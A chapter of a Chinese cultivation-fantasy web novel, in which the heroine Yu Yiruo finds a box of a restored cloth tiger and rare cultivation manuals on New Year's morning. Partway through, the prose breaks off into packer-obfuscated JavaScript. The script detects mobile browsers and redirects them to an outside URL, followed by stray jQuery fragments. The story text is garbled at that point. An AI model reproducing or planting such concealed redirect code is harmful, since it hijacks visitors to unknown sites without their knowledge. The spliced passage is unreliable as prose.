将近天明,家家户户又放起了爆竹,余以若便在这样的爆竹声中醒过来。丫鬟老早就端着盆站在她的床边,前几天有四个,现在只有一个丫鬟,只怕也是回家过年了。
余以若掀开被褥,下床趿上鞋,问她,“你为何肯留下来?”
新年伊始要说吉祥话,丫鬟一大早就记着这件事,面对余以若的问题,她倒是没有正面回答,而是绕了个弯,“这里是福气的源头,是福气选择了我。”
余以若晓得问不出什么话,也没了谈话的心思,但一想到昨晚的事情,她又开了口,“我是怎么回来的?”
“是风公子把您送回来的。”丫鬟不紧不慢地拿起头梳,细心地替她顺顺利利地疏通,又从匣子里拿出朱红的发带。她记得余以若特地交待过,只用这个不用别的。上好的丝质发带,却是艳红的,活像是像落在雪地的嫣然的血。
大早上想这个不吉利,而且她家小姐怎么可能会用这么晦气的东西。
她摇摇头,使劲把这念头甩脱。
透过铜镜上折射的画面,看到丫鬟奇怪的动作,余以若纳闷不已,把心底的疑问说了出来,“是风信又怎么了吗?还是说他们交待了什么事情?”
“并没有。”丫鬟如实道。
“好吧。”余以若没了追问的念头,便随她去。正好头上的发髻也挽得差不多,套上了衣裙,向着门口走去。
甫一拉开房门,冷风呼地灌满全身,但她丝毫也不冷。即使穿着单薄的纱裙,也感觉不到一丝一毫的寒冷,只是因为头上的两根别致的红发带。
想到之前冻成冰块的状态,她就对尉迟景的雪中送炭由衷地感激。
就这么想着,不妨一脚踏了个空,丫鬟眼疾手快扶住她,担忧问道:“小姐怎么了?”
余以若摇摇头,丫鬟沿着她的视线往下看,便看到了个镶在地上的大木箱,看起来没什么稀罕的,除了在盖面上镌刻的一朵大花。
刻者的功力看起来很生疏,毛毛躁躁的,要不是余以若首先发现是她的名字,只怕丫鬟想到明年也想不出。
这个既别致,又有特点,又像朵花的图画是字,不禁让她的吐槽出了口,“刻的是什么啊,还是我们小姐眼睛厉害,一下子就瞧了出来。”
话一出,无人留意的隐秘的角落,擦着钢鞭的某人狠狠地打了个喷嚏。
余以若抱着箱子转身进了屋,丫鬟也跟了上去,心细地关上门,快步走到余以若身边,看她打开木箱,伸手在里面掏了只布老虎。
“难道是苏远他们?这么快就修好了?”余以若既兴奋又激动,连忙把里头剩下的东西拿了出来,然而见到的却是一本本装帧完好的书,有些甚至是上古流传下来的孤本。
不是普通的书,而是修道的书,随意翻开看看,字字句句鞭辟入里,直指修仙要害。而且修仙最讲究门派,一派有一派的修法,但这些本子里的,全然没有这些泾渭之分,有的只是实实在在地教他们如何更快速地修习道法。
余以若又翻了几页,突兀地看到一行,目光陡然凝住。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852745|169447||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
字里行间真真切切地说了如何修复上古神剑,和她之前的手记里头记着的有些许出入,但大致方法却不出寻找圣手之法。更重要的是,这里头可说得清清楚楚如何去找这位圣手。
青羽剑虽然算不得极品灵器,满打满算也够得上神器二字,是以找这位圣手修补配剑,也是绰绰有余,但要找到这位圣手,却没有那么简单。
他们只出现在交界之处,譬如阴阳交界,凡间和下界的交界……这些交界看似容易找,但要想知,交界地都处在变动之中,各种力量混杂,喷薄的地方。
也不知道送东西来的是何人,但余以若可以肯定不是苏家,他们家的历史追溯到上上代都没有修道的。
箱子里的东西除了那只被修复好的布老虎,说是修复也不太准确,几乎是焕然一新。只怕和新做出来的,新的也会自惭形秽,修复好的布老虎实在是太完美,完美得余以若都不舍得让大鸟碰,一不留神就好好地塞进了她的乾坤袋。
余下的就只有手头的几本书,都是修道的。
因而不可能是苏家,但不是苏家又是谁呢?余以若想不明白,谁会有那么好心,专门给她送秘籍的,也不怕她通通学了去,打他们一个措手不及。
担心是不是他们送错了,又翻过盖子看了看上头歪歪扭扭镌刻的花,她这才敢肯定是给她的无疑。
大鸟还在打呼噜,咕嘟咕嘟的,活像谁家烧开了水,就等着翻盖熄火。
余以若不忍直视,收好东西放好木箱,转身就出了房门。